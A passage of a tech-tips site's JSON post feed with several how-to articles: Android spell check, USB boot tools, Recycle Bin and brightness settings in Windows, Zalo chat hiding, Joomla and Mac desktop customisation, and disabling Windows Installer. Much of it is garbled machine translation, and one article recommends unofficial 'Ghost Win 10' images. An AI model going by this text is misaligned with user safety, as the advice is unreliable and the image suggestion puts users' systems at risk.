third-party keyboard applications as well as Android's default keyboards provide the option to turn this feature on and off.\nIn the Language \u0026amp; input section, you can also enable or disable spell checking and change the language specific to it. If installing a third-party keyboard application, go to Settings -\u0026gt; Language \u0026amp; input -\u0026gt; select the keyboard application (for example, Google Keyboard) -\u0026gt; Text correction and choose to turn on / off. In this setting, users can also adjust other settings such as blocking offensive words; word suggestions, contact names and display of next word suggestions.\nYou can refer to how to turn off the spell check feature detailed in TipsMake.com's article.\nSee more:\n30+ beautiful black dark wallpapers for phones, OLED screens The best smartphone photography How to lock applications that require extreme security on Android ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdqsCqusZmmK6sn6i9prjLZpqoqqKasLW1zqdkqKZdlrulvs6imw%3D%3D\n","link":"/post/tips-for-using-auto-spell-correction-on-android/","section":"post","tags":null,"title":"Tips for using auto-spell correction on Android"},{"body":"Have you ever wanted to create a USB boot on Windows, Linux or any ISO drive? If so, here is a list of software that can help users create USB boot. This USB boot contains the installation file for Windows operating system, Linux CD, Ultimate boot disk, Hiren's Boot CD, Antivirus Rescue CD, etc., can even contain multiple operating systems at the same time.\nThe best USB boot creation tools 1. Rufus 2. Windows USB / DVD Download Tool 3. RMPrepUSB 4. YUMI 5. Novicorp WinToFlash 6. UNetbootin 7. A Bootable USB 8. Setup from USB 9. OStoGO 10. WinSetupFromUSB 11. FlashBoot 12. XBoot 13. SARDU 14. Universal USB Installer 15. LiveUSB Install 16. MultiSystem (Linux) 17. Fedora LiveUSB Creator 18. CD 2 USB 19. ISO to USB 20. ISO2Disc 1. Rufus Features: Partitioning system (Partition scheme), file system, automatic ISO file detection, target system type, boot mode, bad sector, ISO recording mode.\nHow to create USB Boot, USB install Windows by Rufus   Rufus is a very small executable file that has been continuously improved over the years to provide the best services. In addition to the standard ISO options such as cluster size and file system, Rufus is now able to detect settings for the ISO you select and fill in the optimal settings. In addition, it also has an Advanced Mode Mode hidden with additional options. Rufus has 21 minutes and 12 seconds, but not the fastest, but it's a great USB boot tool.\nDownload : Rufus\n2. Windows USB / DVD Download Tool   Creating USB boot with this tool is extremely simple, just select the ISO file, select the media type: USB or DVD then click on Begin Copying and turn it off, that's it. With a simple interface and only two options, Windows USB / DVD Download Tool is the simplest USB boot tool. It has a speed of 17 minutes 51 seconds.\nInstructions to create USB installation, boot Windows with Windows 7 USB Download Tool Download : Windows USB / DVD Download Tool\n3. RMPrepUSB Features : Optional bootloader, file system, override, grub4dos, syslinux, QEMU.\n  RMPrepUSB is one of the most complete USB creation tools on this list. In addition to the above features, it also has other bootloaders, DiskDoctor, Speed ​​Test and individual user configuration for the prepared drive. RMPrepUSB is 21 minutes 38 seconds, close to Rufus's speed, but other features can compensate for this slow speed.\nDownload : RMPrepUSB\n4. YUMI Features : Multiboot, automatically download ISO file\n  YUMI (Your Universal Multiboot Installer) is a MultiBoot USB creation tool that is easy to use. When you start the tool, scroll down to the distribution list and select the corresponding ISO file on the system from the box below. YUMI achieved a rather fast speed of 17 minutes 46 seconds.\nDownload : YUMI\n5. Novicorp WinToFlash Features: Multiboot, grub4dos, optional bootloader, burning wizard, file system, burning profile, automatic ISO download.\n  Novicorp WinToFlash is a popular USB boot utility with a handy disk burning guide. This wizard will guide you through the burning process. WinToFlash allows users to create multiboot USB, automatically download missing ISO. It has a speed of 22 minutes 1 second, which is consistent with the speed of burning instructions.\nDownload : Novicorp WinToFlash\n6. UNetbootin Features : grub4dos, automatic download ISO (Linux only), syslinux\n  UNetbootin is primarily a Linux LiveUSB burning tool, but it also works well with Windows. The UNetbootin utility is not flashy, but it comes with some convenient features such as automatically downloading Linux distributions so you can choose the popular distros and other system utility tools. UNetbootin has a speed of 22 minutes 1 second which is equal to the speed of WinToFlash.\nDownload : UNetbootin\n7. A Bootable USB A Bootable USB is a small application that allows users to install Windows Vista / 2008/7 from a USB drive. Besides, it has a few other options and works with the x64 version of Windows operating system.\n  Download : A Bootable USB\n8. Setup from USB This is a simple but very easy to use application to create a bootable Windows Vista / 7 USB drive. However, when using this application, users need to have .NetFramework 4.x or higher.\nDownload : Setup from USB\n9. OStoGO A small application to transfer Windows Vista / 7 DVD discs to USB drives.\nDownload : OStoGO\n10. WinSetupFromUSB A good application but when used should be careful: WinSetupFromUSB. This tool helps \u0026nbsp; Users create bootable Windows or Linux USB drives. Besides, it also allows users to try in QEMU.\n  Download : WinSetupFromUSB\n11. FlashBoot A great software, you can transfer Windows XP / Vista / 7 to a USB drive. This software costs about $ 38 USD (looks expensive, equivalent to IDM).\nDownload : FlashBoot\n12. XBoot XBoot is a great software, able to create Multiboot USB / ISO for Linux, Live CDs, Antivirus Utilities . A useful feature of Xboot is that it allows users to check the USB created right in Windows.\nCreate multifunctional USB boot with XBoot Download : XBoot\n13. SARDU SARDU is software that can create Multibootable ISO and USB drive. This drive contains some antivirus software, tools, current versions of Linux and Windows. All you need to do is transfer the ISO file to the ISO folder and enjoy it on the USB drive.\n  Download : SARDU\n14. Universal USB Installer This is a very useful application, similar to YUMI, except that it does not support MultiBoot. However, it supports many versions of Linux, antivirus tools, Windows Vista, Windows 7, Hiren's Boot CD, . Besides, this software also supports downloading ISO files for users.\nDownload : Universal USB Installer\n15. LiveUSB Install A small application that users can use to create a bootable Linux drive (with many versions supported with some antivirus tools, hard drive rescue, .). Users also have a number of other options, including the ability to burn .img files to USB drives.\nDownload : LiveUSB Install\n16. MultiSystem (Linux) This application is only for Linux users who can use it to create a bootable Linux USB drive.\n  Download : MultiSystem\n17. Fedora LiveUSB Creator A small application will help users to transfer Fedora ISO files to USB drives.\nDownload : Fedora LiveUSB Creator\n18. CD 2 USB CD 2 USB is a tool that is a bit like the command, can create a bootable USB drive for Ubuntu. This application does not format the USB drive and install the bootloader on the drive.\nDownload : CD 2 USB\n19. ISO to USB ISO to USB is a simple application that can create a bootable USB drive from a Bootable ISO file.\nDownload : ISO to USB\n20. ISO2Disc ISO2Disc is a small tool, capable of burning ISO files to CD / DVD or USB Flash drive.\n  Download : ISO2Disc\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kf3F5wZ6qrWWlqK9urs6oq2arn5vBuK3Rng%3D%3D\n","link":"/post/20-best-usb-boot-software/","section":"post","tags":null,"title":"20 best USB boot software"},{"body":"Like most Windows users, you've probably never bothered to do something with the Recycle Bin. Knowing how you can have more control over the Recycle Bin and deleted files will be helpful when using your computer for work. Let's explore what you can do with the Recycle Bin in Windows 11 through the following article!\n1. How to increase or decrease the storage space in the Recycle Bin Recycle Bin does not store your files forever. The Recycle Bin is automatically configured to have a certain percentage of the partition size for the purpose of storing files you delete while running Windows. Older files are automatically deleted when the reserved space is used up to accommodate new files.\nIf you regularly delete files in the hope that you can always recover them from the Recycle Bin if needed, you should be careful with the size of the files you delete. In addition, you can increase (or decrease) the dedicated storage space for deleted files in case you often need to recover files from the Recycle Bin.\nYou can change the amount of reserved storage from the Recycle Bin properties. Right-click the Recycle Bin and select Properties. Click on the C drive and find the Maximize size field.\nNow define a specific size in MB to accommodate the reserve. Remember that 1GB is equivalent to 1024MB, so you'll need to do some math if you want your Recycle Bin to store files in gigabytes.\n  When you're done, click OK to save and exit.\nYou can also change the storage size for other drives on your PC, but not external hard drives. With older versions of Windows, you can refer to the article: How to change the storage capacity for Recycle Bin in Windows 10/8/7 for more details.\n2. How to permanently delete files without putting them in the Recycle Bin If you are someone who never needs to recover deleted files, you can skip the extra step and set the file to be deleted directly. There are two ways to do this.\nFirst, you can simply use the Shift + Delete keyboard shortcut to delete files permanently without putting them in the Recycle Bin.\nSecond, you can change the Recycle Bin settings so that even if you delete files without using keyboard shortcuts, the files will be deleted forever.\nYou can do this from the Recycle Bin properties section. Right-click the Recycle Bin and select Properties. Check the option next to the text that says Don't move files to the Recycle Bin. Remove files immediately when deleted.\n  Click OK to save and exit. Now, when you delete an item, it's permanently removed immediately instead of going to the trash.\n3. Enable confirmation before deleting files If you tend to delete files by mistake when using your PC, you can turn on confirmation to not delete important files. This is especially true if you have changed your Recycle Bin settings so that files are permanently deleted without ever being placed in the Recycle Bin.\nYou can enable validation from the Recycle Bin properties section. Right-click the Recycle Bin and select Properties. Check the box next to the text that says Display delete confirmation dialog.\n  Select OK to save and exit.\nNote that you can still permanently delete files with keyboard shortcuts whenever you need to.\n4. How to empty the Recycle Bin on a schedule Windows 10 brought a great feature called Storage Sense. You can leave your Windows cleaning to Storage Sense. It basically acts as an alternative to third-party tools like CCleaner to a certain extent.\nIf you're using Windows 10 or 11, you'll be able to use Storage Sense to automatically empty the Recycle Bin after a certain number of days. You can set up Storage Sense to delete files in the Recycle Bin after 1, 14, 30 or 60 days.\nIt is not possible to set a separate number of days for each file. All files in the bucket will be deleted every 30 days. For example, if the last cleanup was 29 days ago, all files in the recycle bin the next day will be emptied, including those you deleted today.\nYou can set up Storage Sense from the Settings app. Press Win + I to launch Settings and navigate to System \u0026gt; Storage \u0026gt; Storage Sense.\n  Find the option called Delete files in my recycle bin if they have been there for over and choose the number of days. The default value is set to 30.\n5. How to Add Recycle Bin to System Tray If you're a heavy Recycle Bin user, accessing the desktop or searching for the Recycle Bin in the Start Menu every time you want to open it can be frustrating. Luckily, you can put the Recycle Bin in your system tray and access it directly, eliminating unnecessary clutter.\nThere is no built-in option to add the Recycle Bin to the system tray on Windows. You will need to rely on third-party tools like TrayBin or MiniBin.\nwindows 11 Recycle Bin ncG1vNJzZmismaXArq3KnmWcp51kgm6%2BxJywnKSVYq%2BquoysnK2smaO0tHnOp2SwoZ6ZvLi%2FjGpoZrGfqnq0tM6uo51lm6O8uA%3D%3D\n","link":"/post/5-recycle-bin-settings-on-windows-11-you-should-know/","section":"post","tags":null,"title":"5 Recycle Bin settings on Windows 11 you should know"},{"body":"If you spend a lot of time on your Windows 10 computer or device then knowing how to increase / decrease the brightness will be very helpful. This setting is especially important when you are using a laptop or tablet, because indoors or outdoors, you need to adjust the screen brightness according to your surroundings.\n* Note: The features below are available with Windows 10 November 2019 update or later. If you are using an older version of Windows 10, you cannot apply all the methods in this article. You can also refer to the latest Ghost Win 10 No Soft - Full Soft and Ghost Win 10 Theme versions and then install it if you want.\n1. How to adjust the brightness in Windows 10 using keyboard shortcuts On some keyboards (mainly laptops) there are keys designed specifically to help you adjust the screen brightness easily. On HP Specter 13t laptop , you can use the F2 and F3 keys to decrease or increase the screen brightness.\nOn Surface Pro devices with an external keyboard, you can use keyboard shortcuts Fn + DELto increase the brightness and Fn + Backspaceto decrease the brightness.\n  On a Lenovo Legion Y520 laptop running Windows 10, you can press a key combination Fn + F11to decrease the brightness and Fn + F12to increase.\n  These keys and shortcuts are available on most Windows 10 laptops and tablets. Look for similar keys with a sun symbol according to specific brightness on them.\nSadly, the brightness-changing physical key is almost not found on the desktop keyboard, if you are using this type of keyboard try the other ways below.\n2. How to adjust the brightness in Windows 10 using the removable display's built-in settings menu   Every desktop desktop has dedicated buttons for adjusting brightness (either in front or on one of their sides), since there are so many different types of monitors I can't guide you. can be in this article.\nWhat you need to do is find the Menu key and click on it, when the display settings menu appears, use the physical keys to access Color -\u0026gt; Brightness to change the brightness.\n3. How to adjust brightness in Windows 10 by quick action   Quick Actions in Action Center can also change brightness Win 10. Use keyboard shortcut Windows + Ato open 'Action Center' then change brightness using the slider at the bottom of the window.\nMoving the slider at the bottom of the ' Action Center ' left or right will change the brightness of the screen.\n4. How to adjust the brightness in Windows 10 using Settings   Step 1: You can also go to Settings to change the brightness level. Open Settings using the shortcut Windows + Iand tap System .\nStep 2: At the System window , select the Display tab .\nStep 3: Adjust the brightness using the sliders under \"Brightness and color\" and \"Change brightness for the built-in display\".\n  5. How to adjust the brightness in Windows 10 using Windows Mobility Center   Windows Mobility Center can be used to change the brightness of the screen, the steps to open it are as follows:\nStep 1: Press the key combination Windows + Qto open the search box.\nStep 2: Enter: mobility -\u0026gt; then click on Windows Mobility Center to open it.\nStep 3: Use the slider below the Display brightness to adjust brightness level.\n  6. How to adjust the brightness in Windows 10 using PowerShell   You can also use Windows PowerShell to change the brightness of the screen.\nStep 1: Open Windows PowerShell by typing \" powershell \" into the taskbar search field, then clicking Windows PowerShell.\nStep 2: To change the brightness, enter the following command:\n ** (Get-WmiObject -Namespace root / WMI -Class WmiMonitorBrightnessMethods) .WmiSetBrightness (1, ** brightnesslevel) Replace brightnesslevel with the percentage value you want for your screen brightness, between 0 and 100. To set the brightness at 70% enter the command:\n (Get-WmiObject -Namespace root / WMI -Class WmiMonitorBrightnessMethods) .WmiSetBrightness (1.70) As soon as you press Enter , the brightness will be adjusted to your preference.\n7. How to adjust the brightness in Windows 10 by changing the power mode (Power mode) Reducing the brightness of the screen helps limit the device's power consumption. For laptops and tablets, Windows 10 has a setting that changes the screen brightness according to the power supply mode you use.\nStep 1: To enable this option first click or tap the Battery icon in the system tray (on the right side of the taskbar) then go to Batter settings .\n  * Note: If you cannot see the Battery (Power) icon on your device's system tray, you can learn how to display it via the article: How to show or hide system tray icons Windows 10\nStep 2: In the Batter settings window , scroll down to the Battery saver section .\nStep 3: Check the box \"Lower screen brightness while in battery saver\" to decrease the screen brightness.\n  After turning on this mode your screen dims itself and tries to save battery. You can also do one more thing to reduce the screen brightness for maximum battery saving if you want.\nClick or tap the icon Battery (Power) in the system tray and move the slider all the Power mode ( Mode source ) to the left to have the Best Battery Life (best battery life). This will reduce the screen brightness, thus saving a lot of power until you plug in the charger.\nGood luck.\nadjust screen brightness adjust laptop brightness ncG1vNJzZmismaXArq3KnmWcp51khG60zrBkraddlrGrwdKtZJuqmZy1tbrErKpmoZ5ixKq6w6iurGVhZQ%3D%3D\n","link":"/post/7-how-to-adjust-brightness-in-windows-10/","section":"post","tags":null,"title":"7 How to adjust brightness in Windows 10"},{"body":"Aries and Yang Aries are also known by the Aries English name. This is the bow of the zodiac sign, which symbolizes life and light.\nAries is the bow of those born from March 21 to April 19. The symbol of Aries is a large horned pair of male sheep with yellow fur. The image of Aries symbolizes all things that flourish and flourish in life. So, the people of this palace often have an ideal lifestyle and always look forward to positive things. Aries is a straightforward person who does not like to flatter others, be honest and kind to everyone around him.\nAries is a fire elemental supply, not only that, this is one of the four supply (Libra, Capricorn and Cancer) that has the power to dominate, so these people have very good leadership.\nIf you are a member of Aries and are looking for a wallpaper on this topic to use as your desktop wallpaper, then the following article Network Administrator will send you the best wallpapers, so you can use. The following Aries wallpapers have been reduced in size for you to refer.\nBecause the wallpaper is quite heavy and so I have to reduce the image size posted for your reference. If you like and want to use this set of wallpapers, you can access the link at the bottom of the article we provide to get the highest-quality photo, with more than 40 images.\nSynthesis of beautiful Lion and Hai Su's wallpaper for computers Super cute wallpaper about Bao Binh, Thuy Binh, Bao Binh Court Super lovely wallpaper about the bow: Scorpion, Than Nong, Thien Yet and Thien Hat In addition, there are many beautiful Aries wallpapers:\n  Please read the link below to download more high quality wallpapers for your computer.\nDownload high quality Aries wallpaper\nncG1vNJzZmismaXArq3KnmWcp51krrO1xKxkmqaUYq6ztcSsZJ%2BnomLBqbGMnKamqKWpsrN51pqjpaiRpbKz\n","link":"/post/aries-and-aries-for-the-computer-wallpaper/","section":"post","tags":null,"title":"Aries and Aries for the computer wallpaper"},{"body":"You feel bored with the default icons on Windows 10? In the tutorial below, TipsMake.com shared with readers how to change icon icons on Windows 10 to refresh the desktop interface.\n  1. Change the default icon icon on the Desktop Step 1 : Right-click on the desktop =\u0026gt; select Personalize .\n  Step 2: Choose Themes (1) =\u0026gt; Desktop icon settings (2) .\n  Step 3: You select the icon to be changed as This PC, Admin . In the article I will take This PC as an example: first we click on This PC (1) =\u0026gt; Change Icon . (2) .\n  Step 4: Next, select your favorite icon (1) and click OK (2) .\n  Step 5: Click Apply (1) and OK (2) is done.\n  And finally, This PC icon on the desktop has been changed.\nNote: To return to the default icon, please do it again until Step 3 . Instead of clicking on Change Icon ., please click on the Restore Default button .\n  2. Change the folder icon, shortcut on Windows 10 Step 1: Right-click on the folder icon, the shortcut you need to change and select Properties .\n  Step 2: Switch to the Shortcut tab (1) =\u0026gt; Change Icon . (2) .\n  Step 3: Choose the appropriate icon (1) and click OK (2) to confirm.\n  Step 4: Click Apply (1) and OK (2) to finish changing the icon. You can see the folder icon in the image below has been changed.\n  3. Change the application icon in the taskbar Step 1: Right-click the icon to be changed (1) . Next, right-click on the application (2) and select Properties (3) .\n  Step 2: Switch to the Shortcut  tab (1) =\u0026gt; Change Icon . (2) .\n  Step 3: Choose the icon you like (1) =\u0026gt; click OK (2) .\n  Step 4: Click Apply (1) and OK (2) to finish.\n  And finally the application's icon changed from the original to be successful. If the icon does not automatically switch, press the F5 key or restart the computer and turn it off again.\n  With how to change icon icons on Windows 10, you can personalize as you like and refresh your boring Windows 10. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyimqimXZ6wsLrSZqanZaeeu6W71qxkamg%3D\n","link":"/post/how-to-change-icon-icons-on-windows-10/","section":"post","tags":null,"title":"How to change icon icons on Windows 10"},{"body":"From the Windows 10 Redstone 3 version, the Microsoft Edge browser has additional highlighting options for PDF documents. This option will be included in the custom PDF document toolbar when opened with Microsoft Edge browser. You will mark important content with different colors for easy identification. Instead of needing third-party software, if you want to mark PDF content, just open the file on Microsoft Edge browser.\nMicrosoft Edge tips on Windows 10 April 2018 Update How to stop installing extensions on Microsoft Edge How to save Microsoft Edge website as a PDF file Instructions for highlighting PDF files on Edge Step 1:\nFirst, right-click on the PDF file and select Open with and select the file browser as Microsoft Edge browser.\n  Step 2:\nSelect the important content you want to bookmark and then click on Highlight in the list that appears. You will then be given the colors to mark the text.\n  Or when clicking on the content to mark, there will also be a small toolbar with the Highlight icon and also choose the color to fill the selected content.\n  Step 3:\nFinally press Ctrl + S or click the Save icon in the top toolbar to save the changes.\n  Along with the PDF file editing tools on Microsoft Edge browser, the Highlight tool will help you mark important content on file. Currently PDF editing tools available on Microsoft Edge only stop at a very basic level.\nSee more:\nHow to stamp copyright PDF files How to save web page in Chrome as a PDF file? How to back up email on Gmail to PDF I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufobyzec%2BdnWacn5jCrrHNrapmp55iuqqv0aiqqJ6kYrKls8Q%3D\n","link":"/post/how-to-color-pdf-documents-on-microsoft-edge/","section":"post","tags":null,"title":"How to color PDF documents on Microsoft Edge"},{"body":"Currently on some chat services, there are hidden messages like Viber and now Zalo. Message hiding feature helps users to secure conversations, data information such as phone numbers, accounts, addresses, .\nThis secret message will be protected by a password sequence and must enter the correct password to continue chatting. In particular, the hidden message will not appear on Zalo's interface unless you remove the hidden feature. Thus, no one will know the conversation, even if they can access your Zalo. So what is the way to hide messages on iPhone Zalo? Below TipsMake.com will guide you how to hide the Zalo message, set a password for Zalo message as well as how to retrieve the message Zalo has hidden.\nHow to backup and restore Zalo messages on Android phones To mark an important message on the Zalo PC Hide instructions for chatting on iPhone Zalo How to hide chat on Android Zalo you refer to the article below.\nHow to hide chat and find hidden chat on Android Zalo Step 1:\nFirst, you log in to your personal Zalo account and find the message interface. At the message Zalo wants to hide the message from right to left, there will be 3 symbols, click on the eye icon .\n   Step 2:\nThe Hide chat dialog box appears, press Set pin . Here the user enters the pin code to secure the conversation and confirm again the pin code.\n    Step 3:\nSo when we return to the Zalo message interface we will not see that conversation. To find the hidden message on Zalo, in the search bar enter the name of Zalo account . Click on the account name Zalo wants to open the hidden message. You will then be asked to enter a pin to open the conversation.\n   Step 4:\nAs such, we have access to the hidden conversation. However, when returning to the message interface on Zalo, the conversation will still be hidden.\nTo remove the chat hidden feature on Zalo with this conversation, click the 3 horizontal dots icon in the right corner of the screen. In the customized conversation view, scroll down and select Unhide chat .\nZalo will ask if the user is sure he wants to display this conversation, click Yes to confirm it is done.\n    With this extremely useful Zalo message security feature, you can hide secret conversations from others. The Zalo chat will only show up again when the user disables the hidden feature when accessing the chat interface.\nVideo tutorial to hide messages on Zalo See more:\nInstructions to review old messages on Zalo How to call video call on Zalo PC Instructions to review old messages on Zalo I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuxsClpmallajAorPErGSopl2evLR5wKebZqqVq7amw4ymnKyrkZyytHnZmqOoZZiWwG60yJ2bnqY%3D\n","link":"/post/how-to-hide-zalo-messages-on-ios-and-review-messages-zalo-has-hidden/","section":"post","tags":null,"title":"How to hide Zalo messages on iOS and review messages Zalo has hidden"},{"body":" Joomla is one of the most famous open sources and now is used by a lot of users. If your website is built with Joomla, then you have to manage it everyday, you might look for an extension to help you do that. JSN PowerAdmin will be a good...\nMethod 1of 5:\nInstallation Steps  Download JSN PowerAdmin FREE at JoomlaShine: http://www.joomlashine.com/joomla-extensions/jsn-poweradmin-details.html. After downloading, you get the file with the name format: jsn_poweradmin_j2.5_2.0.0_intall.zip\n  Go to the Joomla back-end: For example: yourwebsitedomain/administrator\n  Joomla Install the package in Joomla back-end: Extensions -\u0026gt; Extension Manager -\u0026gt; Click the button \"Browse\" -\u0026gt; Select the installation file -\u0026gt; Upload \u0026amp; Install. After a few moments, the installation is complete.\n Method 2of 5:\n  In the Joomla back-end, go to Component -\u0026gt; JSN PowerAdmin -\u0026gt; Site Manger. In the tab \"MENU\", you can control menus \u0026amp; menu items.\n  View items: Here you can see \"publish\" or \"unpublished\" menu items. To choose show/ hide unpublished items, you click to the icon in the upper right.\n  Create a new menu/ menu items.\n  Edit the current menus/ menu items: Just click to any menu or menu item to edit it.\n  Drag and drop to move menu/ menu item.\n Method 3of 5:\nManage Joomla Content  In the tab \"COMPONENT\", you can control your Joomla content easily. You can edit the elements, show or hide items as you want.\n  Edit article/ category. You just select any article and then edit it.\n Method 4of 5:\nManage Joomla Modules  In the \"MODULE\", you can manage all modules of the current default template.\n  View modules: Click to the icon in the upper right to see unpublished module.\n  Create a new module: Just click to any position and \"Add module\" quickly.\n  View module positions: You can click on a module position and select \"View position\" to see all module positions of the template.\n  Edit the current module: With any module, you can select to Edit, change position, ...\n  Drag and drop to move module positions.\n Method 5of 5:\nSearch any items quickly with Spotlight Search  In the font-end , copy the title of content you want to edit.\n  Go to the back-end, paste the title into the Spotlight Search which is located in the top-center corner of your admin panel. Then, you will see many search result immediately.\n  Click to any result to edit it.\n  Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYyaZKOnn6K5onnWnpmsoaSaeri106Fko6ueYr2ww8SrmJ2lmaM%3D\n","link":"/post/how-to-manage-a-joomla-website-with-jsn-poweradmin/","section":"post","tags":null,"title":"How to Manage a Joomla! Website with JSN Poweradmin"},{"body":" Personalizing your desktop is a great way to express yourself and have a little fun. It's especially fun with Mac desktops; they are much easier to customize than PC desktops. It's all up to you! Scan the picture(s) you wish to use on your...\nMethod 1of 2:\nChoosing a Desktop Picture  Scan the picture(s) you wish to use on your desktop into your computer. Be patient, this may take a while. Make sure you line the pictures up perfectly when scanning, or they won't fit on your screen. If you don't want to use your own pictures, but you still want a cool design, just skip this step.\n  Create a new folder by going to the \"File\" menu at the top of your screen and choosing \"New Folder\". Put all the images into the folder and label it \"Pictures\".\n  Go to System Preferences. The icon should be displayed in your computer's dock (the long strip of colorful icons), and looks like a light switch with a silver apple on it in 10.0-10.4. 10.5+ looks like a box with gears in it.\n  Once you get to the main System Preferences screen, look under the heading \"Personal\", and click on \"Desktop\". For 10.5, Click \"Desktop \u0026amp; Screensaver\". This will take you to the desktop personalization page.\n  To put your pictures on the desktop, go to the dropdown menu in the middle of the page, and select \"Choose Folder...\", which will take you to a new page. If you aren't using your own pictures, choose a page from the top of the dropdown list instead of \"Choose Folder...\".\n  From the dropdown menu at the top of the new window, choose \"Desktop\". If your image folder is not located on the desktop, find its location and click on the folder. When you've made your selection, click the \"Choose\" button at the bottom of the page. This should return you to the desktop page. If you're using the provided images, choose a picture you want from the menu at the bottom of the window.   Now, your images should be displayed in a menu running along the bottom of the window. Click on your favorite picture, and it will be shown on the desktop. Now, quit System Preferences.\n  If you want to show all of the pictures, don't quit just yet. Select a picture, then put a check mark in the box labeled \"Change Picture\" by clicking on it. Now, use the dropdown menu to decide how often the pictures will change. If you want your images to appear in a random order, put a check mark in the checkbox labeled \"Random Order\". You can also do this with provided images.\n  Enjoy your desktop!\n Method 2of 2:\nChoosing Folder Pictures  Find a suitable replacement icon on the Internet. One great way to customize your desktop is to replace the folder icons with your own images. This can allow you to quickly and easily identify your most-used folders and access them efficiently. To get started, search for possible replacement icons. Any .jpeg or other picture files should work fine, and you can usually drag them from the web after clicking on them, and drop them directly into the info on the folder. Try to look for pictures that have blurred outside edges to keep your desktop looking clean.   Open the info panel on the folder you want to change. Click on the folder, and at the top of Finder, select file, and then Get Info. You can also right-click on the folder to access the options.\n  Copy the image you want. Open the image you want to use in Preview. Press Cmd+a to select it and Cmd+c to copy the image. Back in the info panel, click on the icon in the top left corner and press Cmd+v to paste your customized icon image. When you do this, it should appear instantly. You can use eye-catching images for your most essential folders. Have fun with it!   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiVp8CwusCloLOdXa68tr6MppicZZ%2Boerl5w56qpKyfpQ%3D%3D\n","link":"/post/how-to-personalize-your-mac-os-x-desktop/","section":"post","tags":null,"title":"How to Personalize Your Mac OS X Desktop"},{"body":"Is there a way to prevent users from installing the .msi package? Windows Installer is a background service, which manages the installation and uninstallation of MSI-based programs. To block the MSI installer, you can turn off Windows Installer using Group Policy or edit the registry.\nMethod 1: Disable Windows Installer with GPO To disable Windows Installer using Group Policy, follow these steps:\n1. Open Local Group Policy Editor and expand Computer Configuration\u0026gt; Administrative Templates\u0026gt; Windows Components\u0026gt; Windows Installer . Double click on the policy named Turn off Windows Installer in the right panel.\nDouble click on the policy called Turn off Windows Installer 2. Select Enabled. Click the Disable Windows Installer drop-down list and select Always.\nClick the Disable Windows Installer drop-down list and select Always 3. Click OK and reboot the system to apply the changes. The next time you try to run any .msi package, you will receive an error message: 'The system administrator has set policies to prevent this installation'. (System administrators have set policies to prevent this setting.)\nThe next time you try to run any .msi package, you will receive an error message Method 2: Disable the Windows Installer by tweaking the Registry To disable the Windows Installer by tweaking the Registry, follow these steps:\n1. Open Registry Editor and browse to:\u0026nbsp;\nHKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsInstaller If the Installer subkey does not exist, you must create it first.\n2. Double-click DWORD 32-bit DisableMSI on the right and set the value to 2 .\nDouble-click DWORD 32-bit DisableMSI on the right and set the value to 2 3. Close Registry Editor and restart Windows for the changes to take effect. If you need to re-enable the Windows installer, just set the value of DisableMSI to 0 .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZLChnpm8uL%2BMoqWsrJGhuaa%2BjK2mZpqcpLCsecysoGaokZi4orPE\n","link":"/post/how-to-turn-off-windows-installer-to-block-msi-package/","section":"post","tags":null,"title":"How to turn off Windows Installer to block MSI package"},{"body":" This wikiHow teaches you how to install and use Satellite Internet in your home or mobile location. Satellite Internet is often the only option for people living in remote, rural areas in which cable companies don't offer service. Keep in...\nPart 1of 3:\nSigning up for Satellite Internet  Consider your options. Depending on your geographic location, you may have several different choices for Satellite Internet service providers. Each will most likely come with their fair share of pros and cons, so find as many options as possible.[1] The main two providers in North America are Viasat and HughesNet.   Compare download and upload speeds. Ultimately, the quality of your Satellite Internet will depend on your service's speed. Compare the available services' upload and download speeds to each other; whichever service is faster will usually be the better choice.\nEXPERT TIP\n Luigi Oppido\nComputer Repair Technician \u0026amp; Owner, Pleasure Point Computers Luigi Oppido is the Owner and Operator of Pleasure Point Computers in Santa Cruz, California. Luigi has over 25 years of experience in general computer repair, data recovery, virus removal, and upgrades.  Luigi Oppido\nComputer Repair Technician \u0026amp; Owner, Pleasure Point Computers\nDon't expect extremely high speeds from a satellite provider. Satellite internet is typically slower than other types of internet. However, it's a great option if you live somewhere where you don't have access to other internet providers.\n  Check reviews for your selected service. Look up online customer reports regarding the service's performance; if you see generally favorable reviews, the service is probably fine. Keep in mind that some customers will undoubtedly leave negative reviews due to inconsistent service, outages during certain conditions (e.g., weather), or the high price point when compared to cable Internet. All three of these problems are inherent Satellite Internet issues, so take such reviews with a grain of salt.   Sign up for a Satellite Internet subscription. Once you've determined the service you want to use, sign up for it to select a plan and enter your payment information. You can usually do this online, though you can usually also call the service provider instead.   Buy a modem if one isn't included. If your Satellite Internet service doesn't include a modem, purchase one that supports satellite Internet. Your Satellite Internet subscription should include a dish.  Part 2of 3:\nInstalling the Satellite Dish  See if installation services are available. Many Satellite Internet services will install your dish for you; if you're in an area that supports this, allow a professional to install your dish instead of doing it yourself. If you have to install the dish in variable locations (e.g., a boat or an RV), you may have to take care of the installation yourself.   Adjust the dish to point toward the equator. Since the satellites that transmit your Internet are positioned directly over the Earth's equator, you should not have any obstructions that prevent you from having an optimal connection. Have your satellite dish installed in an open area away from trees and similar obstructions. For example, if you live in North America, place the dish on the southern-most tip of your roof or south of any tall trees, so it can point toward the equator.   Anchor the satellite dish to your roof. Using the hardware that comes with your satellite dish, screw the base of the dish into a flat part of your roof. The dish should have a clear, unobstructed view of the sky. Make sure the connections are tight, and don't install your dish in a loose or unstable section of roof. If you have a balcony or similarly proportioned part of your house that has a clear view of the sky over the equator, you can use it to mount your dish instead.   Attach coaxial cables to your dish. Many dishes use two coaxial cables to connect to your Internet hardware, but your dish may only use one. When attaching the coaxial cables to the dish, you should see an \"IN\" port and an \"OUT\" port on the dish. Consider marking the other ends of your coaxial cables to correspond with these ports—you'll need to know which is which when connecting them to your modem.   Secure the coaxial cables. You'll usually use staples or hose ties to anchor the coaxial cables to your roof. Be sure to keep the cables away from sharp objects, and secure them as tightly as possible; you don't want the cables to come loose during a storm. Depending on your home, you may need to drill a hole through which you can thread the coaxial cables before you can use the 